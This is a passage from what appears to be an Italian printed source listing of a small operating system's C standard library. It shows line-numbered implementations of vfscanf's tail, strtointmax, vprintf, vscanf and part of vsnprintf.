3211113                 value_i = strtointmax (input, &next, 16, width);
3211114                 if (input == next)
3211115                   {
3211116                     return (ass_or_eof (consumed, assigned));
3211117                   }
3211118                 consumed++;
3211119                 if (!flag_star)
3211120                   {
3211121                     ptr_void = va_arg (ap, void **);
3211122                    *ptr_void = (void *) ((int) value_i);
3211123                     assigned++;
3211124                   }
3211125                 f += 1;
3211126                 input = next;
3211127               }
3211128             else if (format[f] == 'n')
3211129               {
3211130                 //--------------- signed char, string index counter.
3211131                 ptr_sint = va_arg (ap, signed int *);
3211132                *ptr_sint = (signed char) (input - start + scanned);
3211133                 f += 1;
3211134               }
3211135             else
3211136               {
3211137                 //---------------- unsupported or unknown specifier.
3211138                 ;
3211139               }
3211140
3211141             //--------------------------------------------------------
3211142             // End of specifier.
3211143             //--------------------------------------------------------
3211144
3211145             width_string[0]     = '\0';
3211146             specifier           = 0;
3211147             specifier_flags     = 0;
3211148             specifier_width     = 0;
3211149             specifier_type      = 0;
3211150             flag_star           = 0;
```

```
3211151
3211152                 }
3211153             }
3211154           //
3211155           // The format or the input string is terminated.
3211156           //
3211157           if  (&format[f] < end_format && stream)
3211158             {
3211159               //
3211160               // Only the input string is finished, and the input comes
3211161               // from a stream, so another read will be done.
3211162               //
3211163               scanned += (int) (input - start);
3211164               continue;
3211165             }
3211166           //
3211167           // The format string is terminated.
3211168           //
3211169           return (ass_or_eof (consumed, assigned));
3211170         }
3211171 }
3211172 //----------------------------------------------------------------------
3211173 static intmax_t
3211174 strtointmax (const char *restrict string,
3211175              const char **restrict endptr, int base,
3211176              size_t max_width)
3211177 {
3211178     int      i;
3211179     int      d;                   // Digits counter.
3211180     int      sign = +1;
3211181     intmax_t number;
3211182     intmax_t previous;
3211183     int      digit;
3211184     //
3211185     bool     flag_prefix_oct = 0;
3211186     bool     flag_prefix_exa = 0;
3211187     bool     flag_prefix_dec = 0;
3211188     //
3211189     // If the 'max_width' value is zero, fix it to the maximum
3211190     // that it can represent.
3211191     //
3211192     if (max_width == 0)
3211193       {
3211194         max_width = SIZE_MAX;
3211195       }
3211196     //
3211197     // Eat initial spaces, but if there are spaces, there is an
3211198     // error inside the calling function!
3211199     //
3211200     for (i = 0; isspace (string[i]); i++)
3211201       {
3211202         fprintf (stderr, "libc error: file \"%s\", line %i\n",
```

```
3211203                     __FILE__, __LINE__);
3211204             ;
3211205           }
3211206         //
3211207         // Check sign. The ‘max_width’ counts also the sign, if there is
3211208         // one.
3211209         //
3211210         if (string[i] == '+')
3211211           {
3211212             sign = +1;
3211213             i++;
3211214             max_width--;
3211215           }
3211216         else if (string[i] == '-')
3211217           {
3211218             sign = -1;
3211219             i++;
3211220             max_width--;
3211221           }
3211222         //
3211223         // Check for prefix.
3211224         //
3211225         if (string[i] == '0')
3211226           {
3211227             if (string[i+1] == 'x' || string[i+1] == 'X')
3211228               {
3211229                 flag_prefix_exa = 1;
3211230               }
3211231             if (isdigit (string[i+1]))
3211232               {
3211233                 flag_prefix_oct = 1;
3211234               }
3211235           }
3211236         //
3211237         if (string[i] > '0' && string[i] <= '9')
3211238           {
3211239             flag_prefix_dec = 1;
3211240           }
3211241         //
3211242         // Check compatibility with requested base.
3211243         //
3211244         if (flag_prefix_exa)
3211245           {
3211246             if (base == 0)
3211247               {
3211248                 base = 16;
3211249               }
3211250             else if (base == 16)
3211251               {
3211252                 ;   // Ok.
3211253               }
3211254             else
```

```
3211255             {
3211256               //
3211257               // Incompatible sequence: only the initial zero is reported.
3211258               //
3211259               *endptr = &string[i+1];
3211260               return ((intmax_t) 0);
3211261             }
3211262           //
3211263           // Move on, after the '0x' prefix.
3211264           //
3211265           i += 2;
3211266         }
3211267       //
3211268       if (flag_prefix_oct)
3211269         {
3211270           if (base == 0)
3211271             {
3211272               base = 8;
3211273             }
3211274           //
3211275           // Move on, after the '0' prefix.
3211276           //
3211277           i += 1;
3211278         }
3211279       //
3211280       if (flag_prefix_dec)
3211281         {
3211282           if (base == 0)
3211283             {
3211284               base = 10;
3211285             }
3211286         }
3211287       //
3211288       // Scan the string.
3211289       //
3211290       for (d = 0, number = 0; d < max_width && string[i] != 0; i++, d++)
3211291         {
3211292           if      (string[i] >= '0' && string[i] <= '9')
3211293             {
3211294               digit = string[i] - '0';
3211295             }
3211296           else if (string[i] >= 'A' && string[i] <= 'F')
3211297             {
3211298               digit = string[i] - 'A' + 10;
3211299             }
3211300           else if (string[i] >= 'a' && string[i] <= 'f')
3211301             {
3211302               digit = string[i] - 'a' + 10;
3211303             }
3211304           else
3211305             {
3211306               digit = 999;
```

```
3211307                }
3211308              //
3211309              // Give a sign to the digit.
3211310              //
3211311              digit *= sign;
3211312              //
3211313              // Compare with the base.
3211314              //
3211315              if (base > (digit * sign))
3211316                {
3211317                  //
3211318                  // Check if the current digit can be safely computed.
3211319                  //
3211320                  previous = number;
3211321                  number  *= base;
3211322                  number  += digit;
3211323                  if (number / base != previous)
3211324                    {
3211325                      //
3211326                      // Out of range.
3211327                      //
3211328                      *endptr = &string[i+1];
3211329                      errset (ERANGE);        // Result too large.
3211330                      if (sign > 0)
3211331                        {
3211332                          return (INTMAX_MAX);
3211333                        }
3211334                      else
3211335                        {
3211336                          return (INTMAX_MIN);
3211337                        }
3211338                    }
3211339                }
3211340              else
3211341                {
3211342                  *endptr = &string[i];
3211343                  return (number);
3211344                }
3211345          }
3211346        //
3211347        // The string is finished or the max digits length is reached.
3211348        //
3211349        *endptr = &string[i];
3211350        //
3211351        return (number);
3211352    }
3211353    //----------------------------------------------------------------------
3211354    static int
3211355    ass_or_eof (int consumed, int assigned)
3211356    {
3211357        if (consumed == 0)
3211358          {
```

```
3211359             return (EOF);
3211360           }
3211361         else
3211362           {
3211363             return (assigned);
3211364           }
3211365 }
3211366 //----------------------------------------------------------------------
```

120.12.40 lib/stdio/vprintf.c

Si veda la sezione 113.130.

```
3220001 #include <stdio.h>
3220002 #include <sys/types.h>
3220003 #include <sys/os32.h>
3220004 #include <string.h>
3220005 #include <unistd.h>
3220006 //----------------------------------------------------------------------
3220007 int
3220008 vprintf (const char *restrict format, va_list arg)
3220009 {
3220010     ssize_t     size_written;
3220011     size_t      size;
3220012     size_t      size_total;
3220013     int         status;
3220014     char        string[BUFSIZ];
3220015     char       *buffer = string;
3220016 
3220017     buffer[0] = 0;
3220018     status = vsprintf (buffer, format, arg);
3220019 
3220020     size = strlen (buffer);
3220021     if (size >= BUFSIZ)
3220022       {
3220023         size = BUFSIZ;
3220024       }
3220025 
3220026     for (size_total = 0, size_written = 0;
3220027          size_total < size;
3220028          size_total += size_written, buffer += size_written)
3220029       {
3220030         //
3220031         // Write to the standard output: file descriptor n. 1.
3220032         //
3220033         size_written = write (STDOUT_FILENO, buffer, size - size_total);
3220034         if (size_written < 0)
3220035           {
3220036             return (size_total);
3220037           }
3220038       }
```

```
3220039     return (size);
3220040 }
```

120.12.41 lib/stdio/vscanf.c

Si veda la sezione 113.131.

```
3230001 #include <stdio.h>
3230002 //----------------------------------------------------------------------
3230003 int
3230004 vscanf (const char *restrict format, va_list ap)
3230005 {
3230006     return (vfscanf (stdin, format, ap));
3230007 }
3230008 //----------------------------------------------------------------------
```

120.12.42 lib/stdio/vsnprintf.c

Si veda la sezione 113.130.

```
3240001 #include <stdint.h>
3240002 #include <stdbool.h>
3240003 #include <stdlib.h>
3240004 #include <string.h>
3240005 #include <stdio.h>
3240006 //----------------------------------------------------------------------
3240007 static size_t uimaxtoa      (uintmax_t integer, char *buffer, int base,
3240008                              int uppercase, size_t size);
3240009 static size_t imaxtoa       (intmax_t  integer, char *buffer, int base,
3240010                              int uppercase, size_t size);
3240011 static size_t simaxtoa      (intmax_t  integer, char *buffer, int base,
3240012                              int uppercase, size_t size);
3240013 static size_t uimaxtoa_fill (uintmax_t integer, char *buffer, int base,
3240014                              int uppercase, int width, int filler,
3240015                              int max);
3240016 static size_t imaxtoa_fill  (intmax_t  integer, char *buffer, int base,
3240017                              int uppercase, int width, int filler,
3240018                              int max);
3240019 static size_t simaxtoa_fill (intmax_t  integer, char *buffer, int base,
3240020                              int uppercase, int width, int filler,
3240021                              int max);
3240022 static size_t strtostr_fill (char *string, char *buffer, int width,
3240023                              int filler, int max);
3240024 //----------------------------------------------------------------------
3240025 int
3240026 vsnprintf (char *restrict string, size_t size,
3240027            const char *restrict format, va_list ap)
3240028 {
3240029     //
```

```
3240030     // We produce at most 'size-1' characters, + '\0'.
3240031     // 'size' is used also as the max size for internal
3240032     // strings, but only if it is not too big.
3240033     //
3240034     int         f                    = 0;
3240035     int         s                    = 0;
3240036     int         remain               = size - 1;
3240037     //
3240038     bool        specifier            = 0;
3240039     bool        specifier_flags      = 0;
3240040     bool        specifier_width      = 0;
3240041     bool        specifier_precision = 0;
3240042     bool        specifier_type       = 0;
3240043     //
3240044     bool        flag_plus            = 0;
3240045     bool        flag_minus           = 0;
3240046     bool        flag_space           = 0;
3240047     bool        flag_alternate       = 0;
3240048     bool        flag_zero            = 0;
3240049     //
3240050     int         alignment;
3240051     int         filler;
3240052     //
3240053     intmax_t    value_i;
3240054     uintmax_t   value_ui;
3240055     char       *value_cp;
3240056     //
3240057     size_t      width;
3240058     size_t      precision;
3240059     size_t      str_size = (size > (BUFSIZ/2) ? (BUFSIZ/2) : size);
3240060     char        width_string[str_size];
3240061     char        precision_string[str_size];
3240062     int         w;
3240063     int         p;
3240064     //
3240065     width_string[0]     = '\0';
3240066     precision_string[0] = '\0';
3240067     //
3240068     while (format[f] != 0 && s < (size - 1))
3240069       {
3240070         if (!specifier)
3240071           {
3240072             //------------------- The context is not inside a specifier.
3240073             if (format[f] != '%')
3240074               {
3240075                 string[s] = format[f];
3240076                 s++;
3240077                 remain--;
3240078                 f++;
3240079                 continue;
3240080               }
3240081             if (format[f] == '%' && format[f+1] == '%')
```

```
3240082                 {
3240083                   string[s] = '%';
3240084                   f++;
3240085                   f++;
3240086                   s++;
3240087                   remain--;
3240088                   continue;
3240089                 }
3240090               if (format[f] == '%')
3240091                 {
3240092                   f++;
3240093                   specifier = 1;
3240094                   specifier_flags = 1;
3240095                   continue;
3240096                 }
3240097             }
3240098           //
3240099           if (specifier && specifier_flags)
3240100             {
3240101               //------------------- The context is inside specifier flags.
3240102               if (format[f] == '+')
3240103                 {
3240104                   flag_plus = 1;
3240105                   f++;
3240106                   continue;
3240107                 }
3240108               else if (format[f] == '-')
3240109                 {
3240110                   flag_minus = 1;
3240111                   f++;
3240112                   continue;
3240113                 }
3240114               else if (format[f] == ' ')
3240115                 {
3240116                   flag_space = 1;
3240117                   f++;
3240118                   continue;
3240119                 }
3240120               else if (format[f] == '#')
3240121                 {
3240122                   flag_alternate = 1;
3240123                   f++;
3240124                   continue;
3240125                 }
3240126               else if (format[f] == '0')
3240127                 {
3240128                   flag_zero = 1;
3240129                   f++;
3240130                   continue;
3240131                 }
3240132               else
3240133                 {
```

```
3240134                  specifier_flags = 0;
3240135                  specifier_width = 1;
3240136                }
3240137            }
3240138          //
3240139          if (specifier && specifier_width)
3240140            {
3240141              //------------------- The context is inside specifier width.
3240142              for (w = 0; format[f] >= '0' && format[f] <= '9'
3240143                   && w < str_size; w++)
3240144                {
3240145                  width_string[w] = format[f];
3240146                  f++;
3240147                }
3240148              width_string[w] = '\0';
3240149
3240150              specifier_width = 0;
3240151
3240152              if (format[f] == '.')
3240153                {
3240154                  specifier_precision = 1;
3240155                  f++;
3240156                }
3240157              else
3240158                {
3240159                  specifier_precision = 0;
3240160                  specifier_type      = 1;
3240161                }
3240162            }
3240163          //
3240164          if (specifier && specifier_precision)
3240165            {
3240166              //--------------- The context is inside specifier precision.
3240167              for (p = 0; format[f] >= '0' && format[f] <= '9'
3240168                   && p < str_size; p++)
3240169                {
3240170                  precision_string[p] = format[f];
3240171                  p++;
3240172                }
3240173              precision_string[p] = '\0';
3240174
3240175              specifier_precision = 0;
3240176              specifier_type      = 1;
3240177            }
3240178          //
3240179          if (specifier && specifier_type)
3240180            {
3240181              //-------------------- The context is inside specifier type.
3240182              width     = atoi (width_string);
3240183              precision = atoi (precision_string);
3240184                                filler = ' ';
3240185              if (flag_zero)  filler = '0';
```

```
3240186                 if (flag_space) filler = ' ';
3240187                                 alignment = width;
3240188                 if (flag_minus)
3240189                   {
3240190                     alignment = -alignment;
3240191                     filler = ' ';   // The filler character cannot
3240192                                     // be zero, so it is black.
3240193                   }
3240194                 //
3240195                 if (format[f] == 'h' && format[f+1] == 'h')
3240196                   {
3240197                     if (format[f+2] == 'd' || format[f+2] == 'i')
3240198                       {
3240199                         //--------------------------- signed char, base 10.
3240200                         value_i = va_arg (ap, int);
3240201                         if (flag_plus)
3240202                           {
3240203                             s += simaxtoa_fill (value_i, &string[s], 10, 0,
3240204                                                 alignment, filler, remain);
3240205                           }
3240206                         else
3240207                           {
3240208                             s += imaxtoa_fill (value_i, &string[s], 10, 0,
3240209                                                alignment, filler, remain);
3240210                           }
3240211                         f += 3;
3240212                       }
3240213                     else if (format[f+2] == 'u')
3240214                       {
3240215                         //------------------------- unsigned char, base 10.
3240216                         value_ui = va_arg (ap, unsigned int);
3240217                         s += uimaxtoa_fill (value_ui, &string[s], 10, 0,
3240218                                             alignment, filler, remain);
3240219                         f += 3;
3240220                       }
3240221                     else if (format[f+2] == 'o')
3240222                       {
3240223                         //-------------------------- unsigned char, base 8.
3240224                         value_ui = va_arg (ap, unsigned int);
3240225                         s += uimaxtoa_fill (value_ui, &string[s], 8, 0,
3240226                                             alignment, filler, remain);
3240227                         f += 3;
3240228                       }
3240229                     else if (format[f+2] == 'x')
3240230                       {
3240231                         //------------------------- unsigned char, base 16.
3240232                         value_ui = va_arg (ap, unsigned int);
3240233                         s += uimaxtoa_fill (value_ui, &string[s], 16, 0,
3240234                                             alignment, filler, remain);
3240235                         f += 3;
3240236                       }
3240237                     else if (format[f+2] == 'X')
```

```
3240238                   {
3240239                     //-------------------------- unsigned char, base 16.
3240240                     value_ui = va_arg (ap, unsigned int);
3240241                     s += uimaxtoa_fill (value_ui, &string[s], 16, 1,
3240242                                         alignment, filler, remain);
3240243                     f += 3;
3240244                   }
3240245                 else if (format[f+2] == 'b')
3240246                   {
3240247                     //--------------- unsigned char, base 2 (extention).
3240248                     value_ui = va_arg (ap, unsigned int);
3240249                     s += uimaxtoa_fill (value_ui, &string[s], 2, 0,
3240250                                         alignment, filler, remain);
3240251                     f += 3;
3240252                   }
3240253                 else
3240254                   {
3240255                     //---------------- unsupported or unknown specifier.
3240256                     f += 2;
3240257                   }
3240258               }
3240259             else if (format[f] == 'h')
3240260               {
3240261                 if (format[f+1] == 'd' || format[f+1] == 'i')
3240262                   {
3240263                     //----------------------------- short int, base 10.
3240264                     value_i = va_arg (ap, int);
3240265                     if (flag_plus)
3240266                       {
3240267                         s += simaxtoa_fill (value_i, &string[s], 10, 0,
3240268                                             alignment, filler, remain);
3240269                       }
3240270                     else
3240271                       {
3240272                         s += imaxtoa_fill (value_i, &string[s], 10, 0,
3240273                                            alignment, filler, remain);
3240274                       }
3240275                     f += 2;
3240276                   }
3240277                 else if (format[f+1] == 'u')
3240278                   {
3240279                     //--------------------- unsigned short int, base 10.
3240280                     value_ui = va_arg (ap, unsigned int);
3240281                     s += uimaxtoa_fill (value_ui, &string[s], 10, 0,
3240282                                         alignment, filler, remain);
3240283                     f += 2;
3240284                   }
3240285                 else if (format[f+1] == 'o')
3240286                   {
3240287                     //---------------------- unsigned short int, base 8.
3240288                     value_ui = va_arg (ap, unsigned int);
3240289                     s += uimaxtoa_fill (value_ui, &string[s], 8, 0,
```

```
3240290                                  alignment, filler, remain);
3240291                  f += 2;
3240292                }
3240293              else if (format[f+1] == 'x')
3240294                {
3240295                  //--------------------- unsigned short int, base 16.
3240296                  value_ui = va_arg (ap, unsigned int);
3240297                  s += uimaxtoa_fill (value_ui, &string[s], 16, 0,
3240298                                      alignment, filler, remain);
3240299                  f += 2;
3240300                }
3240301              else if (format[f+1] == 'X')
3240302                {
3240303                  //--------------------- unsigned short int, base 16.
3240304                  value_ui = va_arg (ap, unsigned int);
3240305                  s += uimaxtoa_fill (value_ui, &string[s], 16, 1,
3240306                                      alignment, filler, remain);
3240307                  f += 2;
3240308                }
3240309              else if (format[f+1] == 'b')
3240310                {
3240311                  //---------- unsigned short int, base 2 (extention).
3240312                  value_ui = va_arg (ap, unsigned int);
3240313                  s += uimaxtoa_fill (value_ui, &string[s], 2, 0,
3240314                                      alignment, filler, remain);
3240315                  f += 2;
3240316                }
3240317              else
3240318                {
3240319                  //---------------- unsupported or unknown specifier.
3240320                  f += 1;
3240321                }
3240322            }
3240323          else if (format[f] == 'l' && format[f+1] != 'l')
3240324            {
3240325              if (format[f+1] == 'd' || format[f+1] == 'i')
3240326                {
3240327                  //-------------------------------- long int base 10.
3240328                  value_i = va_arg (ap, long int);
3240329                  if (flag_plus)
3240330                    {
3240331                      s += simaxtoa_fill (value_i, &string[s], 10, 0,
3240332                                          alignment, filler, remain);
3240333                    }
3240334                  else
3240335                    {
3240336                      s += imaxtoa_fill (value_i, &string[s], 10, 0,
3240337                                         alignment, filler, remain);
3240338                    }
3240339                  f += 2;
3240340                }
3240341              else if (format[f+1] == 'u')
```

```
3240342                          {
3240343                            //---------------------- Unsigned long int base 10.
3240344                            value_ui = va_arg (ap, unsigned long int);
3240345                            s += uimaxtoa_fill (value_ui, &string[s], 10, 0,
3240346                                                alignment, filler, remain);
3240347                            f += 2;
3240348                          }
3240349                        else if (format[f+1] == 'o')
3240350                          {
3240351                            //----------------------- Unsigned long int base 8.
3240352                            value_ui = va_arg (ap, unsigned long int);
3240353                            s += uimaxtoa_fill (value_ui, &string[s], 8, 0,
3240354                                                alignment, filler, remain);
3240355                            f += 2;
3240356                          }
3240357                        else if (format[f+1] == 'x')
3240358                          {
3240359                            //---------------------- Unsigned long int base 16.
3240360                            value_ui = va_arg (ap, unsigned long int);
3240361                            s += uimaxtoa_fill (value_ui, &string[s], 16, 0,
3240362                                                alignment, filler, remain);
3240363                            f += 2;
3240364                          }
3240365                        else if (format[f+1] == 'X')
3240366                          {
3240367                            //---------------------- Unsigned long int base 16.
3240368                            value_ui = va_arg (ap, unsigned long int);
3240369                            s += uimaxtoa_fill (value_ui, &string[s], 16, 1,
3240370                                                alignment, filler, remain);
3240371                            f += 2;
3240372                          }
3240373                        else if (format[f+1] == 'b')
3240374                          {
3240375                            //----------- Unsigned long int base 2 (extention).
3240376                            value_ui = va_arg (ap, unsigned long int);
3240377                            s += uimaxtoa_fill (value_ui, &string[s], 2, 0,
3240378                                                alignment, filler, remain);
3240379                            f += 2;
3240380                          }
3240381                        else
3240382                          {
3240383                            //--------------- unsupported or unknown specifier.
3240384                            f += 1;
3240385                          }
3240386                      }
3240387                    else if (format[f] == 'l' && format[f+1] == 'l')
3240388                      {
3240389                        if (format[f+2] == 'd' || format[f+2] == 'i')
3240390                          {
3240391                            //------------------------------ long int base 10.
3240392                            value_i = va_arg (ap, long long int);
3240393                            if (flag_plus)
```

```
3240394                         {
3240395                           s += simaxtoa_fill (value_i, &string[s], 10, 0,
3240396                                                alignment, filler, remain);
3240397                         }
3240398                       else
3240399                         {
3240400                           s += imaxtoa_fill (value_i, &string[s], 10, 0,
3240401                                               alignment, filler, remain);
3240402                         }
3240403                       f += 3;
3240404                     }
3240405                   else if (format[f+2] == 'u')
3240406                     {
3240407                       //----------------------- Unsigned long int base 10.
3240408                       value_ui = va_arg (ap, unsigned long long int);
3240409                       s += uimaxtoa_fill (value_ui, &string[s], 10, 0,
3240410                                           alignment, filler, remain);
3240411                       f += 3;
3240412                     }
3240413                   else if (format[f+2] == 'o')
3240414                     {
3240415                       //------------------------ Unsigned long int base 8.
3240416                       value_ui = va_arg (ap, unsigned long long int);
3240417                       s += uimaxtoa_fill (value_ui, &string[s], 8, 0,
3240418                                           alignment, filler, remain);
3240419                       f += 3;
3240420                     }
3240421                   else if (format[f+2] == 'x')
3240422                     {
3240423                       //----------------------- Unsigned long int base 16.
3240424                       value_ui = va_arg (ap, unsigned long long int);
3240425                       s += uimaxtoa_fill (value_ui, &string[s], 16, 0,
3240426                                           alignment, filler, remain);
3240427                       f += 3;
3240428                     }
3240429                   else if (format[f+2] == 'X')
3240430                     {
3240431                       //----------------------- Unsigned long int base 16.
3240432                       value_ui = va_arg (ap, unsigned long long int);
3240433                       s += uimaxtoa_fill (value_ui, &string[s], 16, 1,
3240434                                           alignment, filler, remain);
3240435                       f += 3;
3240436                     }
3240437                   else if (format[f+2] == 'b')
3240438                     {
3240439                       //------------ Unsigned long int base 2 (extention).
3240440                       value_ui = va_arg (ap, unsigned long long int);
3240441                       s += uimaxtoa_fill (value_ui, &string[s], 2, 0,
3240442                                           alignment, filler, remain);
3240443                       f += 3;
3240444                     }
3240445                   else
```

```
3240446                       {
3240447                         //---------------- unsupported or unknown specifier.
3240448                         f += 2;
3240449                       }
3240450                   }
3240451                 else if (format[f] == 'j')
3240452                   {
3240453                     if (format[f+1] == 'd' || format[f+1] == 'i')
3240454                       {
3240455                         //------------------------------- intmax_t base 10.
3240456                         value_i = va_arg (ap, intmax_t);
3240457                         if (flag_plus)
3240458                           {
3240459                             s += simaxtoa_fill (value_i, &string[s], 10, 0,
3240460                                                 alignment, filler, remain);
3240461                           }
3240462                         else
3240463                           {
3240464                             s += imaxtoa_fill (value_i, &string[s], 10, 0,
3240465                                                alignment, filler, remain);
3240466                           }
3240467                         f += 2;
3240468                       }
3240469                     else if (format[f+1] == 'u')
3240470                       {
3240471                         //------------------------------ uintmax_t base 10.
3240472                         value_ui = va_arg (ap, uintmax_t);
3240473                         s += uimaxtoa_fill (value_ui, &string[s], 10, 0,
3240474                                             alignment, filler, remain);
3240475                         f += 2;
3240476                       }
3240477                     else if (format[f+1] == 'o')
3240478                       {
3240479                         //------------------------------- uintmax_t base 8.
3240480                         value_ui = va_arg (ap, uintmax_t);
3240481                         s += uimaxtoa_fill (value_ui, &string[s], 8, 0,
3240482                                             alignment, filler, remain);
3240483                         f += 2;
3240484                       }
3240485                     else if (format[f+1] == 'x')
3240486                       {
3240487                         //------------------------------ uintmax_t base 16.
3240488                         value_ui = va_arg (ap, uintmax_t);
3240489                         s += uimaxtoa_fill (value_ui, &string[s], 16, 0,
3240490                                             alignment, filler, remain);
3240491                         f += 2;
3240492                       }
3240493                     else if (format[f+1] == 'X')
3240494                       {
3240495                         //------------------------------ uintmax_t base 16.
3240496                         value_ui = va_arg (ap, uintmax_t);
3240497                         s += uimaxtoa_fill (value_ui, &string[s], 16, 1,
```

```
3240498                                         alignment, filler, remain);
3240499                     f += 2;
3240500                   }
3240501                 else if (format[f+1] == 'b')
3240502                   {
3240503                     //-------------------- uintmax_t base 2 (extention).
3240504                     value_ui = va_arg (ap, uintmax_t);
3240505                     s += uimaxtoa_fill (value_ui, &string[s], 2, 0,
3240506                                         alignment, filler, remain);
3240507                     f += 2;
3240508                   }
3240509                 else
3240510                   {
3240511                     //---------------- unsupported or unknown specifier.
3240512                     f += 1;
3240513                   }
3240514               }
3240515             else if (format[f] == 'z')
3240516               {
3240517                 if (format[f+1] == 'd'
3240518                     || format[f+1] == 'i'
3240519                     || format[f+1] == 'i')
3240520                   {
3240521                     //---------------------------------- size_t base 10.
3240522                     value_ui = va_arg (ap, unsigned long int);
3240523                     s += uimaxtoa_fill (value_ui, &string[s], 10, 0,
3240524                                         alignment, filler, remain);
3240525                     f += 2;
3240526                   }
3240527                 else if (format[f+1] == 'o')
3240528                   {
3240529                     //----------------------------------- size_t base 8.
3240530                     value_ui = va_arg (ap, unsigned long int);
3240531                     s += uimaxtoa_fill (value_ui, &string[s], 8, 0,
3240532                                         alignment, filler, remain);
3240533                     f += 2;
3240534                   }
3240535                 else if (format[f+1] == 'x')
3240536                   {
3240537                     //---------------------------------- size_t base 16.
3240538                     value_ui = va_arg (ap, unsigned long int);
3240539                     s += uimaxtoa_fill (value_ui, &string[s], 16, 0,
3240540                                         alignment, filler, remain);
3240541                     f += 2;
3240542                   }
3240543                 else if (format[f+1] == 'X')
3240544                   {
3240545                     //---------------------------------- size_t base 16.
3240546                     value_ui = va_arg (ap, unsigned long int);
3240547                     s += uimaxtoa_fill (value_ui, &string[s], 16, 1,
3240548                                         alignment, filler, remain);
3240549                     f += 2;
```

```
3240550                     }
3240551                   else if (format[f+1] == 'b')
3240552                     {
3240553                       //----------------------- size_t base 2 (extention).
3240554                       value_ui = va_arg (ap, unsigned long int);
3240555                       s += uimaxtoa_fill (value_ui, &string[s], 2, 0,
3240556                                           alignment, filler, remain);
3240557                       f += 2;
3240558                     }
3240559                   else
3240560                     {
3240561                       //---------------- unsupported or unknown specifier.
3240562                       f += 1;
3240563                     }
3240564                 }
3240565               else if (format[f] == 't')
3240566                 {
3240567                   if (format[f+1] == 'd' || format[f+1] == 'i')
3240568                     {
3240569                       //------------------------------ ptrdiff_t base 10.
3240570                       value_i = va_arg (ap, long int);
3240571                       if (flag_plus)
3240572                         {
3240573                           s += simaxtoa_fill (value_i, &string[s], 10, 0,
3240574                                               alignment, filler, remain);
3240575                         }
3240576                       else
3240577                         {
3240578                           s += imaxtoa_fill (value_i, &string[s], 10, 0,
3240579                                              alignment, filler, remain);
3240580                         }
3240581                       f += 2;
3240582                     }
3240583                   else if (format[f+1] == 'u')
3240584                     {
3240585                       //----------------- ptrdiff_t base 10, without sign.
3240586                       value_ui = va_arg (ap, unsigned long int);
3240587                       s += uimaxtoa_fill (value_ui, &string[s], 10, 0,
3240588                                           alignment, filler, remain);
3240589                       f += 2;
3240590                     }
3240591                   else if (format[f+1] == 'o')
3240592                     {
3240593                       //------------------ ptrdiff_t base 8, without sign.
3240594                       value_ui = va_arg (ap, unsigned long int);
3240595                       s += uimaxtoa_fill (value_ui, &string[s], 8, 0,
3240596                                           alignment, filler, remain);
3240597                       f += 2;
3240598                     }
3240599                   else if (format[f+1] == 'x')
3240600                     {
3240601                       //----------------- ptrdiff_t base 16, without sign.
```

```
3240602                         value_ui = va_arg (ap, unsigned long int);
3240603                         s += uimaxtoa_fill (value_ui, &string[s], 16, 0,
3240604                                             alignment, filler, remain);
3240605                         f += 2;
3240606                       }
3240607                     else if (format[f+1] == 'X')
3240608                       {
3240609                         //----------------- ptrdiff_t base 16, without sign.
3240610                         value_ui = va_arg (ap, unsigned long int);
3240611                         s += uimaxtoa_fill (value_ui, &string[s], 16, 1,
3240612                                             alignment, filler, remain);
3240613                         f += 2;
3240614                       }
3240615                     else if (format[f+1] == 'b')
3240616                       {
3240617                         //------ ptrdiff_t base 2, without sign (extention).
3240618                         value_ui = va_arg (ap, unsigned long int);
3240619                         s += uimaxtoa_fill (value_ui, &string[s], 2, 0,
3240620                                             alignment, filler, remain);
3240621                         f += 2;
3240622                       }
3240623                     else
3240624                       {
3240625                         //---------------- unsupported or unknown specifier.
3240626                         f += 1;
3240627                       }
3240628                   }
3240629                 if (format[f] == 'd' || format[f] == 'i')
3240630                   {
3240631                     //--------------------------------------- int base 10.
3240632                     value_i = va_arg (ap, int);
3240633                     if (flag_plus)
3240634                       {
3240635                         s += simaxtoa_fill (value_i, &string[s], 10, 0,
3240636                                             alignment, filler, remain);
3240637                       }
3240638                     else
3240639                       {
3240640                         s += imaxtoa_fill (value_i, &string[s], 10, 0,
3240641                                            alignment, filler, remain);
3240642                       }
3240643                     f += 1;
3240644                   }
3240645                 else if (format[f] == 'u')
3240646                   {
3240647                     //------------------------------ unsigned int base 10.
3240648                     value_ui = va_arg (ap, unsigned int);
3240649                     s += uimaxtoa_fill (value_ui, &string[s], 10, 0,
3240650                                         alignment, filler, remain);
3240651                     f += 1;
3240652                   }
3240653                 else if (format[f] == 'o')
```

```
3240654                 {
3240655                   //--------------------------------- unsigned int base 8.
3240656                   value_ui = va_arg (ap, unsigned int);
3240657                   s += uimaxtoa_fill (value_ui, &string[s], 8, 0,
3240658                                       alignment, filler, remain);
3240659                   f += 1;
3240660                 }
3240661               else if (format[f] == 'x')
3240662                 {
3240663                   //-------------------------------- unsigned int base 16.
3240664                   value_ui = va_arg (ap, unsigned int);
3240665                   s += uimaxtoa_fill (value_ui, &string[s], 16, 0,
3240666                                       alignment, filler, remain);
3240667                   f += 1;
3240668                 }
3240669               else if (format[f] == 'X')
3240670                 {
3240671                   //-------------------------------- unsigned int base 16.
3240672                   value_ui = va_arg (ap, unsigned int);
3240673                   s += uimaxtoa_fill (value_ui, &string[s], 16, 1,
3240674                                       alignment, filler, remain);
3240675                   f += 1;
3240676                 }
3240677               else if (format[f] == 'b')
3240678                 {
3240679                   //--------------------- unsigned int base 2 (extention).
3240680                   value_ui = va_arg (ap, unsigned int);
3240681                   s += uimaxtoa_fill (value_ui, &string[s], 2, 0,
3240682                                       alignment, filler, remain);
3240683                   f += 1;
3240684                 }
3240685               else if (format[f] == 'c')
3240686                 {
3240687                   //--------------------------------------- unsigned char.
3240688                   value_ui = va_arg (ap, unsigned int);
3240689                   string[s] = (char) value_ui;
3240690                   s += 1;
3240691                   f += 1;
3240692                 }
3240693               else if (format[f] == 's')
3240694                 {
3240695                   //---------------------------------------------- string.
3240696                   value_cp = va_arg (ap, char *);
3240697                   filler = ' ';
3240698 
3240699                   s += strtostr_fill (value_cp, &string[s], alignment,
3240700                                       filler, remain);
3240701                   f += 1;
3240702                 }
3240703               else
3240704                 {
3240705                   //-------------------- unsupported or unknown specifier.
```

```
3240706                  ;
3240707                }
3240708              //----------------------------------------------------------
3240709              // End of specifier.
3240710              //----------------------------------------------------------
3240711              width_string[0]     = '\0';
3240712              precision_string[0] = '\0';
3240713
3240714              specifier           = 0;
3240715              specifier_flags     = 0;
3240716              specifier_width     = 0;
3240717              specifier_precision = 0;
3240718              specifier_type      = 0;
3240719
3240720              flag_plus           = 0;
